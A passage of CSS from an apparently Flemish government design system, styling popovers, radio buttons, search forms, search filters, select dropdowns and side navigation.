          will-change: transform
        }
      }

      .vl-popover--closable .vl-popover__close-btn {
        display: inline-flex
      }

      .vl-popover--closable .vl-popover__close-btn:hover {
        color: #05c
      }

      .vl-popover--closable .vl-popover__close-btn:focus {
        color: #004099
      }

      @media screen and (min-width:767.1px) {
        .vl-popover--closable .vl-popover__close-btn {
          padding: 1.5rem;
          right: 0;
          width: auto
        }

        .vl-popover--closable .vl-popover__close-btn .vl-button__icon {
          margin: 0
        }
      }

      .vl-popover__close-btn {
        display: none;
        font-size: 1.4rem;
        position: absolute;
        right: .5rem;
        top: 0
      }

      @media screen and (max-width:767px) {
        .vl-popover__close-btn {
          display: inline-flex;
          top: -4.5rem
        }
      }

      .vl-backdrop {
        background-color: rgba(232, 235, 238, .95);
        bottom: 0;
        left: 0;
        opacity: .95;
        opacity: 0;
        position: fixed;
        right: 0;
        top: 0;
        transition: opacity .4s cubic-bezier(1, .1, 0, .9), z-index .4s cubic-bezier(1, .1, 0, .9);
        will-change: opacity;
        z-index: 10008;
        z-index: -1
      }

      @media screen and (max-width:767px) {
        .vl-backdrop--active {
          opacity: 1;
          z-index: 10008
        }
      }

      .vl-popover__content-overflow {
        max-height: 30rem;
        overflow-y: auto;
        padding: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-popover__content-overflow {
          max-height: 65vh
        }
      }

      @media screen and (min-width:767.1px) {
        .vl-popover--closable .vl-popover__content-overflow {
          padding-right: 5rem
        }
      }

      .vl-popover__content {
        background-color: #fff;
        border: .1rem solid #cfd5dd;
        box-shadow: 0 0 2.1rem 0 rgba(0, 0, 0, .1);
        max-width: 90vw;
        min-width: 23rem;
        width: 23rem;
        z-index: 10003
      }

      @media screen and (max-width:767px) {
        .vl-popover__content {
          bottom: 0;
          display: none;
          left: 0;
          margin: 0;
          max-width: 100%;
          position: fixed;
          top: auto;
          transform: translateY(120%);
          width: 100%;
          z-index: 10009
        }
      }

      @media screen and (min-width:767.1px) {
        .vl-popover__content {
          margin: .3rem 0 0;
          opacity: 0;
          visibility: hidden
        }

        .vl-popover--large .vl-popover__content {
          width: 45rem
        }
      }

      .vl-popover .vl-link-list,
      .vl-popover__link-list {
        padding: 0
      }

      .vl-popover .vl-link-list .vl-link-list__item,
      .vl-popover .vl-link-list li,
      .vl-popover__link-list .vl-link-list__item,
      .vl-popover__link-list li {
        padding: .6rem 0
      }

      .vl-popover .vl-link-list .vl-link-list__item:first-child,
      .vl-popover .vl-link-list li:first-child,
      .vl-popover__link-list .vl-link-list__item:first-child,
      .vl-popover__link-list li:first-child {
        padding-top: 0
      }

      .vl-popover--closable .vl-popover .vl-link-list .vl-link-list__item:first-child,
      .vl-popover--closable .vl-popover .vl-link-list li:first-child,
      .vl-popover--closable .vl-popover__link-list .vl-link-list__item:first-child,
      .vl-popover--closable .vl-popover__link-list li:first-child {
        max-width: calc(100% - 4.5rem)
      }

      .vl-popover .vl-link-list .vl-link-list__item:last-of-type,
      .vl-popover .vl-link-list li:last-of-type,
      .vl-popover__link-list .vl-link-list__item:last-of-type,
      .vl-popover__link-list li:last-of-type {
        margin-bottom: 0;
        padding-bottom: 0
      }

      .vl-popover .vl-link-list .vl-link-list__item.vl-popover__link-list__separator,
      .vl-popover .vl-link-list li.vl-popover__link-list__separator,
      .vl-popover__link-list .vl-link-list__item.vl-popover__link-list__separator,
      .vl-popover__link-list li.vl-popover__link-list__separator {
        background: #cfd5dd;
        height: .1rem;
        margin: .5rem 0;
        padding: 0
      }

      .vl-popover .vl-link-list--bordered .vl-popover .vl-link-list__item:not(:last-of-type) .vl-link,
      .vl-popover .vl-link-list--bordered .vl-popover__link-list__item:not(:last-of-type) .vl-link,
      .vl-popover__link-list--bordered .vl-popover .vl-link-list__item:not(:last-of-type) .vl-link,
      .vl-popover__link-list--bordered .vl-popover__link-list__item:not(:last-of-type) .vl-link,
      .vl-radio {
        position: relative
      }

      .vl-radio {
        display: inline-block;
        margin-right: 5rem;
        margin-top: .2rem
      }

      .vl-radio:not(.vl-radio--block):not(:last-of-type) {
        margin-right: 1.5rem
      }

      .vl-radio__label {
        font-size: 1.6rem;
        line-height: 2.8rem;
        padding: 0 0 0 2.4rem;
        position: relative
      }

      .vl-radio__label:after,
      .vl-radio__label:before {
        border-radius: 100%;
        content: "";
        cursor: pointer;
        display: block;
        position: absolute
      }

      .vl-radio__label:before {
        background-color: #fff;
        height: 6px;
        left: 6px;
        top: 10px;
        transform: scale(0);
        transition: border-color .2s cubic-bezier(1, .1, 0, .9);
        width: 6px;
        z-index: 2
      }

      @media screen and (max-width:767px) {
        .vl-radio__label:before {
          font-size: 1.6rem
        }
      }

      .vl-radio__label:after {
        background-color: #fff;
        border: .1rem solid #8695a8;
        height: 18px;
        left: 0;
        overflow: hidden;
        text-indent: 100%;
        top: 4px;
        transition: border-color .2s cubic-bezier(1, .1, 0, .9), box-shadow .1s cubic-bezier(1, .1, 0, .9);
        white-space: nowrap;
        width: 18px;
        z-index: 1
      }

      .vl-radio__toggle {
        overflow: hidden;
        position: absolute;
        clip: rect(0 0 0 0);
        height: .1rem;
        margin: -.1rem;
        padding: 0;
        width: .1rem
      }

      .vl-radio__toggle:focus+.vl-radio__label:after {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .vl-radio__toggle:focus+.vl-radio__label:after {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-radio__toggle:checked+.vl-radio__label:before {
        background-color: #fff;
        transform: scale(1)
      }

      .vl-radio__toggle:checked+.vl-radio__label:after {
        background: #05c;
        border: 0
      }

      .vl-radio--block {
        display: block;
        margin: 0
      }

      .vl-radio--disabled .vl-radio__label {
        color: #687483
      }

      .vl-radio--disabled .vl-radio__label:after {
        background-color: #8695a8;
        border-color: #8695a8
      }

      .vl-radio--disabled .vl-radio__toggle:checked+.vl-radio__label:before {
        background-color: #fff
      }

      .vl-radio--disabled .vl-radio__toggle:checked+.vl-radio__label:after {
        background: #8695a8;
        border: .1rem solid #8695a8
      }

      .vl-radio--single {
        margin: 0
      }

      .vl-radio--single .vl-radio__label {
        padding: 0
      }

      .vl-radio--single .vl-radio__label:after {
        position: relative
      }

      .vl-radio--error .vl-radio__label:after,
      .vl-radio.invalid.validated .vl-radio__label:after {
        background-color: #fff;
        border-color: #d2373c
      }

      .vl-radio--error .vl-radio__toggle:checked+.vl-radio__label:before,
      .vl-radio.invalid.validated .vl-radio__toggle:checked+.vl-radio__label:before {
        background-color: #d2373c
      }

      .vl-radio--error .vl-radio__toggle:checked+.vl-radio__label:after,
      .vl-radio.invalid.validated .vl-radio__toggle:checked+.vl-radio__label:after {
        background-color: #fff;
        border: .1rem solid #d2373c
      }

      .vl-radio--success .vl-radio__label:after,
      .vl-radio.valid.validated .vl-radio__label:after {
        background-color: #fff;
        border-color: #009e47
      }

      .vl-radio--success .vl-radio__toggle:checked+.vl-radio__label:before,
      .vl-radio.valid.validated .vl-radio__toggle:checked+.vl-radio__label:before {
        background-color: #009e47
      }

      .vl-radio--success .vl-radio__toggle:checked+.vl-radio__label:after,
      .vl-radio.valid.validated .vl-radio__toggle:checked+.vl-radio__label:after {
        background-color: #fff;
        border: .1rem solid #009e47
      }

      .vl-search {
        align-items: center;
        background-color: #f7f9fc;
        display: flex;
        flex-direction: row;
        padding: 2rem 1.5rem;
        position: relative
      }

      .vl-search .vl-search__reset {
        background: none;
        background-image: url("");
        background-position: 50%;
        background-repeat: no-repeat;
        background-size: 10px 11px;
        border: none;
        min-height: 2.5rem;
        position: absolute;
        right: 0;
        top: 50%;
        transform: translateY(-50%);
        width: 2.5rem;
        z-index: 1
      }

      @media screen and (max-width:767px) {
        .vl-search {
          display: block;
          padding: 1.5rem 1rem
        }
      }

      .vl-search .vl-search__label {
        color: #687483;
        font-size: 1.6rem;
        font-weight: 400;
        line-height: 1;
        white-space: nowrap
      }

      @media screen and (max-width:767px) {
        .vl-search .vl-search__label {
          font-size: 1.6rem
        }
      }

      .vl-search .vl-search__input-wrapper {
        align-items: center;
        display: flex;
        position: relative;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .vl-search .vl-search__input-wrapper {
          align-items: flex-start;
          flex-direction: column
        }
      }

      .vl-search .vl-search__input {
        flex: 6;
        margin: 0 2rem
      }

      @media screen and (max-width:1023px) {
        .vl-search .vl-search__input {
          flex: 4;
          margin: 0 1rem
        }
      }

      @media screen and (max-width:767px) {
        .vl-search .vl-search__input {
          margin: 0 0 1.5rem;
          width: 100%
        }
      }

      .vl-search .vl-search__reset {
        right: 25px
      }

      @media screen and (max-width:1023px) {
        .vl-search .vl-search__reset {
          right: 15px
        }
      }

      @media screen and (max-width:767px) {
        .vl-search .vl-search__reset {
          right: 5px;
          top: calc(50% - .75rem)
        }
      }

      .vl-search.vl-search--alt {
        background-color: transparent;
        background: none;
        padding: 0
      }

      @media screen and (max-width:767px) {
        .vl-search.vl-search--alt {
          padding: 0
        }
      }

      .vl-search--inline {
        background-color: transparent
      }

      @media screen and (max-width:767px) {
        .vl-search--inline {
          display: block;
          width: auto
        }
      }

      .vl-search--inline .vl-search__label {
        color: #fff;
        display: block;
        font-size: 0 !important;
        height: 100%;
        padding: 0;
        position: absolute;
        right: 0;
        top: 0;
        width: 4.3rem
      }

      .vl-search--inline .vl-search__submit {
        font-size: 1.9rem;
        min-height: 2.5rem;
        padding: 0;
        position: absolute;
        right: 5px;
        top: 50%;
        transform: translateY(-50%);
        width: 2.5rem;
        z-index: 1
      }

      .vl-search--inline .vl-search__label {
        color: #333332
      }

      .vl-search--inline .vl-search__reset {
        right: 35px;
        top: 50%
      }

      .vl-search--inline .vl-search__input {
        flex: initial;
        margin: 0;
        padding-right: 30px;
        text-overflow: ellipsis;
        width: 100%
      }

      .vl-search--inline .vl-search__input:focus,
      .vl-search--inline .vl-search__input:hover {
        padding-right: 30px
      }

      .vl-search--inline.vl-search--has-input-value .vl-search__input,
      .vl-search--inline.vl-search--has-input-value .vl-search__input:focus,
      .vl-search--inline.vl-search--has-input-value .vl-search__input:hover {
        padding-right: 60px
      }

      .vl-search--inline .vl-search__submit:focus {
        transition: none
      }

      .vl-search--inline .vl-search__input-wrapper {
        display: block;
        position: relative;
        text-align: left;
        width: 100%
      }

      .vl-search-filter {
        padding: 1.3rem 0 2rem
      }

      .vl-search-filter .vl-search-filter__field__label {
        color: #687483;
        font-size: 1.6rem;
        font-weight: 400;
        line-height: 1
      }

      @media screen and (max-width:767px) {
        .vl-search-filter .vl-search-filter__field__label {
          font-size: 1.6rem
        }
      }

      .vl-search-filter--alt {
        padding: 0
      }

      @media screen and (max-width:767px) {
        .vl-search-filter--mobile-modal {
          background-color: #fff;
          bottom: 0;
          display: flex;
          flex-direction: column;
          height: 100vh;
          left: 0;
          padding: 0;
          position: fixed;
          right: 0;
          top: 0;
          z-index: 100020
        }
      }

      .vl-search-filter__intro,
      .vl-search-results__title {
        border-bottom: 3px solid #e8ebee;
        font-size: 1.8rem;
        font-weight: 500;
        margin: 0 0 2rem;
        text-transform: uppercase
      }

      .vl-search-filter__section {
        border-bottom: 1px solid #cbd2da;
        margin-bottom: 2rem;
        padding-bottom: 2rem
      }

      .vl-search-filter__section:last-child {
        border-bottom: 0;
        margin-bottom: 0;
        padding-bottom: 0
      }

      .vl-search-filter__section--no-border {
        border-bottom: 0
      }

      .vl-search-filter__section--border {
        border-bottom: 1px solid #cbd2da
      }

      .vl-search-filter__section-title {
        display: block;
        font-size: 1.5rem;
        font-weight: 500;
        letter-spacing: .1rem;
        margin-bottom: 1.2rem;
        text-transform: uppercase
      }

      @media screen and (max-width:767px) {
        .vl-search-filter__section-title {
          font-size: 1.4rem
        }
      }

      .vl-search-filter__form {
        background-color: #e8ebee;
        padding: 2rem
      }

      .vl-region--alt .vl-search-filter__form {
        background-color: #fff
      }

      .vl-search-filter--alt .vl-search-filter__form {
        background-color: transparent;
        padding: 0
      }

      @media screen and (max-width:767px) {
        .vl-search-filter--alt .vl-search-filter__form {
          padding: 0 2rem 55px
        }

        .vl-search-filter--alt.vl-search-filter--mobile-modal .vl-search-filter__form {
          padding: 15px 3rem 9rem
        }

        .vl-search-filter__form {
          margin-left: -1.5rem;
          margin-right: -1.5rem;
          padding: 1.5rem
        }

        .vl-search-filter--mobile-modal .vl-search-filter__form {
          flex: 1;
          overflow-y: auto;
          padding: 15px 3rem
        }
      }

      .vl-search-filter__field {
        margin-bottom: .75rem
      }

      .vl-search-filter__field:last-child {
        margin-bottom: 0
      }

      .vl-search-filter__field__label {
        display: inline-block;
        margin-bottom: .7rem
      }

      .vl-search-filter__footer {
        margin-top: 1.5rem
      }

      .vl-search-filter__header-modal {
        display: none
      }

      @media screen and (max-width:767px) {
        .vl-search-filter__header-modal {
          align-items: center;
          border-bottom: 1px solid #8695a8;
          display: flex;
          padding: 10px 15px
        }

        .vl-search-filter__header-modal .vl-title {
          margin-bottom: 0
        }
      }

      .vl-search-filter__header__clear {
        margin: 0 15px
      }

      .vl-search-filter__footer-modal {
        display: none
      }

      @media screen and (max-width:767px) {
        .vl-search-filter__footer-modal {
          background-color: #fff;
          border-top: 1px solid #8695a8;
          bottom: 0;
          box-shadow: 0 0 20px 0 rgba(0, 0, 0, .1);
          display: block;
          left: 0;
          padding: 10px 15px;
          position: fixed;
          right: 0;
          width: 100%;
          z-index: 2
        }
      }

      .vl-search-filter-section__collapse-toggle {
        margin-top: 1.5rem
      }

      .vl-search-filter-section__collapse-toggle .vl-link__icon {
        transform: translateY(-1px)
      }

      .vl-search-result {
        margin-bottom: 3.5rem
      }

      .vl-search-result__title {
        font-size: 2rem;
        font-weight: 500;
        line-height: 1.35
      }

      @media screen and (max-width:767px) {
        .vl-search-result__title {
          font-size: 1.6rem
        }
      }

      .vl-search-result__title__link {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-search-result__title__link:focus,
      .vl-search-result__title__link:hover {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-search-result__content-group {
        margin-bottom: 1.5rem
      }

      .vl-search-result__description-list {
        overflow: hidden
      }

      .vl-search-result__description-list__description {
        float: left;
        font-weight: 500
      }

      .vl-search-result__description-list__description:after {
        content: ":";
        display: block;
        float: right;
        margin-right: .5rem
      }

      .vl-select {
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: #fff;
        background-image: url("");
        background-position: calc(100% - 1.5rem) 50%;
        background-repeat: no-repeat;
        background-size: 9px 5px;
        border: 1px solid #8695a8;
        border-radius: .3rem;
        color: #333332;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        height: 3.5rem;
        line-height: 3.3rem;
        max-width: 100%;
        padding: 0 4rem 0 1.5rem;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-select:focus::-ms-value {
        background: inherit;
        color: inherit
      }

      .vl-select::-ms-expand {
        display: none
      }

      .vl-select:hover:not([disabled]) {
        background-position: calc(100% - 1.4rem) 50%;
        border: .2rem solid rgba(0, 85, 204, .65);
        line-height: 3.2rem;
        padding: 0 3.9rem 0 1.4rem
      }

      .vl-select:hover:not([disabled]).invalid.validated,
      .vl-select:hover:not([disabled]).vl-select--error {
        border-color: #d2373c
      }

      .vl-select:hover:not([disabled]).valid.validated,
      .vl-select:hover:not([disabled]).vl-select--success {
        border-color: #009e47
      }

      .vl-select:focus {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .vl-select:focus {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .vl-select--disabled,
      .vl-select[disabled] {
        background-color: #f3f5f6;
        border-color: #8695a8;
        color: #707070;
        color: var(--vl-theme-fg-color-70)
      }

      .vl-select--error,
      .vl-select.invalid.validated {
        background-color: #fbebec;
        background-image: url("");
        border-color: #d2373c
      }

      .vl-select--success,
      .vl-select.valid.validated {
        background-color: #e6f5ed;
        background-image: url("");
        border-color: #009e47
      }

      .vl-select--block {
        display: block;
        width: 100%
      }

      @media screen and (max-width:767px) {
        .vl-select {
          font-size: 1.6rem;
          height: 3.5rem;
          line-height: 3.5rem
        }
      }

      @media (min-width:0\0)and (-webkit-min-device-pixel-ratio:0),
      all and (min-width:0\0)and (min-resolution:0.001dpcm) {
        .vl-select {
          background-image: none;
          padding-right: 0
        }
      }

      .no-js [data-vl-select] {
        -moz-appearance: none;
        appearance: none;
        -webkit-appearance: none;
        background-color: #fff;
        background-image: url("");
        background-position: calc(100% - 1.5rem) 50%;
        background-repeat: no-repeat;
        background-size: 9px 5px;
        border: 1px solid #8695a8;
        border-radius: .3rem;
        color: #333332;
        display: inline-block;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.6rem;
        height: 3.5rem;
        line-height: 3.3rem;
        max-width: 100%;
        padding: 0 4rem 0 1.5rem;
        position: relative;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .no-js [data-vl-select]:focus::-ms-value {
        background: inherit;
        color: inherit
      }

      .js-vl-select {
        border-radius: .3rem;
        position: relative;
        z-index: 999
      }

      .js-vl-select.is-disabled {
        background-color: #f3f5f6 !important;
        border-color: #687483;
        outline: 0
      }

      .js-vl-select.is-disabled .vl-select__inner {
        border-color: #8695a8
      }

      .js-vl-select.is-disabled .vl-select__item {
        color: #707070;
        color: var(--vl-theme-fg-color-70);
        cursor: default
      }

      .js-vl-select.is-focused {
        box-shadow: 0 0 0 2px #fff, 0 0 0 5px rgba(0, 85, 204, .65);
        outline: .2rem solid transparent
      }

      @supports(outline-offset:2px) {
        .js-vl-select.is-focused {
          box-shadow: none;
          outline: 3px solid rgba(0, 85, 204, .65);
          outline-offset: 2px
        }
      }

      .js-vl-select.is-open {
        z-index: 1000
      }

      .js-vl-select.is-open .vl-select__inner {
        border-bottom-left-radius: 0;
        border-bottom-right-radius: 0
      }

      .js-vl-select.is-open:after {
        border-color: transparent transparent #000;
        transform: translateY(-.75rem)
      }

      .js-vl-select.is-flipped .vl-select__inner {
        border-radius: 0 0 .3rem .3rem
      }

      .js-vl-select.is-flipped .vl-select__list--dropdown {
        border-radius: .3rem .3rem 0 0;
        bottom: 100%;
        top: auto;
        transform: translateY(.1rem)
      }

      .js-vl-select:hover:not(.is-disabled) .vl-select__inner {
        border-color: rgba(0, 85, 204, .65);
        box-shadow: inset 0 0 0 .1rem rgba(0, 85, 204, .65)
      }

      .js-vl-select[data-type*=select-one] {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        background-color: #fff;
        background-image: url("");
        background-position: calc(100% - 1.5rem) 50%;
        background-repeat: no-repeat;
        background-size: 9px 5px
      }

      .js-vl-select[data-type*=select-one] .vl-input-field {
        color: #333332;
        display: block;
        overflow: hidden;
        padding: 0;
        white-space: nowrap
      }

      .js-vl-select[data-type*=select-one] .vl-select__list--dropdown .vl-input-field {
        border: .1rem solid #8695a8;
        margin: 2rem;
        padding: 0 1rem;
        width: calc(100% - 4rem)
      }

      .js-vl-select[data-type*=select-one] .vl-select__item--selectable {
        height: 2.3rem;
        min-height: 2.3rem
      }

      .js-vl-select[data-type*=select-one] .vl-select__inner {
        height: 3.5rem;
        line-height: 3.5rem;
        padding-right: 3.5rem
      }

      .js-vl-select[data-type*=select-one][dir=rtl]:after {
        left: 1.15rem;
        right: auto
      }

      .js-vl-select[data-type*=select-one][dir=rtl] .vl-select__button {
        left: 0;
        margin-left: 2.5rem;
        margin-right: 0;
        right: auto
      }

      .js-vl-select[data-type*=select-one][dir=rtl] .vl-pill__close {
        margin-left: 0;
        margin-right: auto
      }

      .js-vl-select[data-type*=select-one] .vl-select__button {
        border: 0
      }

      .js-vl-select[data-type*=select-one] .vl-pill__close {
        border: 0;
        display: inline-flex;
        margin-left: auto
      }

      .js-vl-select[data-type*=select-one] .vl-pill__close:after,
      .js-vl-select[data-type*=select-one] .vl-pill__close:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .js-vl-select[data-type*=select-one] .vl-pill__close:before {
        content: ""
      }

      .js-vl-select[data-type*=select-one] .vl-pill__close:active,
      .js-vl-select[data-type*=select-one] .vl-pill__close:focus,
      .js-vl-select[data-type*=select-one] .vl-pill__close:hover {
        color: #004ab3
      }

      .js-vl-select[data-type*=select-one] .vl-select__placeholder .vl-pill__close,
      .js-vl-select[data-type*=select-one].is-disabled .vl-pill__close {
        display: none
      }

      .js-vl-select[data-type*=select-multiple] {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        background-color: #fff;
        background-image: url("");
        background-position: calc(100% - 1.5rem) 50%;
        background-repeat: no-repeat;
        background-size: 9px 5px
      }

      .js-vl-select[data-type*=select-multiple],
      .js-vl-select[data-type*=text] {
        background-color: #fff
      }

      .js-vl-select[data-type*=select-multiple] .vl-select__inner,
      .js-vl-select[data-type*=text] .vl-select__inner {
        cursor: text
      }

      .js-vl-select[data-type*=select-multiple] .vl-select__button,
      .js-vl-select[data-type*=text] .vl-select__button {
        border-left: .1rem solid #8695a8;
        color: #666;
        display: inline-block;
        height: 2.3rem;
        margin-left: .5rem;
        text-align: center;
        -webkit-text-decoration: none;
        text-decoration: none;
        transform: translateY(-.1rem);
        width: 2.2rem
      }

      .js-vl-select[data-type*=select-multiple] .vl-select__button:after,
      .js-vl-select[data-type*=select-multiple] .vl-select__button:before,
      .js-vl-select[data-type*=text] .vl-select__button:after,
      .js-vl-select[data-type*=text] .vl-select__button:before {
        font-family: "vlaanderen-icon" !important;
        -webkit-font-smoothing: antialiased;
        -moz-osx-font-smoothing: grayscale;
        font-feature-settings: normal;
        font-style: normal;
        font-variant: normal;
        font-weight: 400;
        -webkit-text-decoration: none;
        text-decoration: none;
        text-transform: none
      }

      .js-vl-select[data-type*=select-multiple] .vl-select__button:before,
      .js-vl-select[data-type*=text] .vl-select__button:before {
        content: "";
        font-size: 1.1rem;
        padding: 0 .4rem;
        text-indent: 0
      }

      .js-vl-select[data-type*=select-multiple] .vl-select__button:focus,
      .js-vl-select[data-type*=select-multiple] .vl-select__button:hover,
      .js-vl-select[data-type*=text] .vl-select__button:focus,
      .js-vl-select[data-type*=text] .vl-select__button:hover {
        opacity: 1
      }

      .js-vl-select[data-type*=select-multiple] .vl-input-field,
      .js-vl-select[data-type*=text] .vl-input-field {
        display: inline;
        height: 2.4rem;
        line-height: 2.2rem;
        padding: 0
      }

      .js-vl-select[data-type*=select-multiple] .vl-input-field:focus,
      .js-vl-select[data-type*=text] .vl-input-field:focus {
        box-shadow: none;
        outline: 0
      }

      .js-vl-select__group {
        border-top: .1rem solid #8695a8;
        padding: .3rem .5rem .3rem 0;
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .js-vl-select .vl-select__inner {
        border: .1rem solid #8695a8;
        border-radius: .3rem;
        color: #666;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        overflow: hidden;
        padding: .5rem 6rem .4rem 1rem
      }

      .is-open .js-vl-select .vl-select__inner {
        border-bottom: 0
      }

      .js-vl-select .vl-select__list {
        list-style: none;
        margin: 0;
        padding: 0
      }

      .js-vl-select .vl-select__list--single {
        display: inline-block;
        width: 100%
      }

      [dir=rtl] .js-vl-select .vl-select__list--single {
        padding-left: 1.5rem;
        padding-right: .5rem
      }

      .js-vl-select .vl-select__list--multiple {
        align-content: center;
        display: inline-flex;
        max-width: 100%
      }

      .js-vl-select .vl-select__list--multiple .vl-select__item {
        display: inline-flex;
        margin: .2rem .6rem .5rem 0
      }

      .js-vl-select .vl-select__list--multiple .vl-select__item[data-deletable] {
        padding-right: 0
      }

      [dir=rtl] .js-vl-select .vl-select__list--multiple--multiple {
        margin-left: .375rem;
        margin-right: 0
      }

      .js-vl-select .vl-select__list--multiple .vl-input-field {
        padding: .4rem 0 .4rem .2rem
      }

      .js-vl-select .vl-select__list--dropdown {
        background-color: #fff;
        border: .1rem solid #8695a8;
        border-bottom-left-radius: .3rem;
        border-bottom-right-radius: .3rem;
        display: none;
        position: absolute;
        top: 100%;
        transform: translateY(-.1rem);
        width: 100%;
        z-index: 1
      }

      .js-vl-select .vl-select__list--dropdown.is-active {
        display: block
      }

      .js-vl-select .vl-select__list--dropdown .vl-select__list {
        max-height: 35vh;
        overflow: auto;
        position: relative;
        will-change: scroll-position;
        -webkit-overflow-scrolling: touch
      }

      .js-vl-select .vl-select__list--dropdown .vl-input-field+.vl-select__list {
        border-top: .1rem solid #8695a8
      }

      .js-vl-select .vl-select__list--dropdown .vl-select__item {
        border: 0;
        color: #000;
        font-weight: 400;
        height: auto;
        min-height: 0;
        padding-bottom: .8rem;
        padding-left: 3rem;
        padding-top: .8rem;
        -webkit-text-decoration: none;
        text-decoration: none;
        width: 100%
      }

      .js-vl-select .vl-select__list--dropdown .vl-select__item:not(:first-of-type) {
        border-top: .1rem solid #cbd2da
      }

      [dir=rtl] .js-vl-select .vl-select__list--dropdown .vl-select__item {
        text-align: right
      }

      @media screen and (min-width:767.1px) {
        .js-vl-select .vl-select__list--dropdown .vl-select__item--selectable {
          padding-right: 10rem
        }

        .js-vl-select .vl-select__list--dropdown .vl-select__item--selectable:after {
          content: attr("data-select-text");
          opacity: .5;
          position: absolute;
          right: 1rem;
          top: 50%;
          transform: translateY(-50%)
        }

        [dir=rtl] .js-vl-select .vl-select__list--dropdown .vl-select__item--selectable {
          padding-left: 10rem;
          padding-right: 1rem;
          text-align: right
        }

        [dir=rtl] .js-vl-select .vl-select__list--dropdown .vl-select__item--selectable:after {
          left: 1rem;
          right: auto
        }
      }

      .js-vl-select .vl-select__list--dropdown .vl-select__item--selectable.is-highlighted {
        background-color: rgba(179, 207, 245, .3);
        position: relative
      }

      .js-vl-select .vl-select__list--dropdown .vl-select__item[aria-selected=true] {
        background-color: rgba(179, 207, 245, .3)
      }

      .js-vl-select .vl-select__item {
        align-items: center;
        cursor: default;
        display: flex
      }

      .js-vl-select .vl-select__item--disabled {
        background-color: #f3f5f6 !important;
        border-color: #8695a8;
        color: #707070 !important;
        color: var(--vl-theme-fg-color-70) !important;
        cursor: not-allowed;
        -webkit-user-select: none;
        -moz-user-select: none;
        user-select: none
      }

      .js-vl-select .vl-select__item--disabled:hover {
        background-color: #f3f5f6
      }

      .js-vl-select .vl-select__item span {
        overflow: hidden;
        text-overflow: ellipsis;
        white-space: nowrap
      }

      .js-vl-select .vl-input-field {
        background-color: transparent;
        border: 0;
        display: inline-block;
        max-width: 100%;
        vertical-align: baseline
      }

      [dir=rtl] .js-vl-select .vl-input-field {
        padding-left: 0;
        padding-right: .2rem
      }

      .js-vl-select .vl-select__placeholder {
        opacity: .5
      }

      .js-vl-select .vl-select__group {
        display: block
      }

      .js-vl-select .vl-select__group:not(:first-of-type) {
        border-top: .1rem solid #8695a8
      }

      .js-vl-select .vl-select__group .vl-select__heading {
        color: #687483;
        font-weight: 500;
        padding: .6rem 2rem
      }

      .vl-select--error .js-vl-select {
        background-color: #d2373c;
        border: .2rem solid #d2373c;
        box-shadow: inset 0 0 0 .1rem #d2373c
      }

      .vl-select--error .js-vl-select:focus {
        background-color: #fff
      }

      .vl-select--success .js-vl-select {
        background-color: #e6f5ed;
        border: .2rem solid #009e47
      }

      .vl-side-navigation {
        max-height: 90vh
      }

      @media screen and (min-width:767.1px) {
        .vl-side-navigation::-webkit-scrollbar {
          height: 20px;
          width: 16px
        }

        .vl-side-navigation::-webkit-scrollbar-thumb {
          background-clip: padding-box;
          background-color: #e8ebee;
          border: 6px solid transparent;
          border-radius: 7px;
          height: 8px
        }

        .vl-side-navigation::-webkit-scrollbar-button {
          display: none;
          height: 0;
          width: 0
        }

        .vl-side-navigation::-webkit-scrollbar-corner {
          background-color: transparent
        }
      }

      @media screen and (max-width:767px) {
        .vl-side-navigation {
          animation: fade-transition .3s;
          background: #fff;
          box-shadow: 0 0 2.1rem rgba(0, 0, 0, .3);
          display: none;
          max-height: calc(100vh - 15rem);
          min-height: 10rem;
          padding: 1.5rem 1rem 1.5rem 1.5rem
        }
      }

      .vl-side-navigation a {
        -webkit-text-decoration: none;
        text-decoration: none
      }

      .vl-side-navigation a:focus,
      .vl-side-navigation a:hover {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .js-vl-scrollspy-mobile--active .vl-side-navigation {
        display: block !important
      }

      .vl-side-navigation .js-vl-scrollspy-active {
        color: #333332;
        position: relative
      }

      .vl-side-navigation .js-vl-scrollspy-active:before {
        background-color: #5990de;
        bottom: 0;
        content: "";
        display: block;
        height: 90%;
        left: -12px;
        position: absolute;
        top: 1px;
        width: 3px
      }

      @media screen and (min-width:767.1px) {
        .vl-side-navigation[data-vl-side-navigation-scrollable] {
          max-height: none
        }
      }

      .vl-side-navigation__content {
        font-size: 1.6rem
      }

      @media screen and (max-width:767px) {
        .vl-side-navigation__content {
          font-size: 1.6rem
        }
      }

      .vl-side-navigation__group {
        margin-bottom: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-side-navigation__group {
          border: 0 !important;
          padding: 0
        }
      }

      .vl-side-navigation__group:last-child {
        margin-bottom: 0
      }

      .vl-side-navigation__group--has-title {
        border-top-width: 3px;
        padding-top: 3rem
      }

      @media screen and (max-width:767px) {
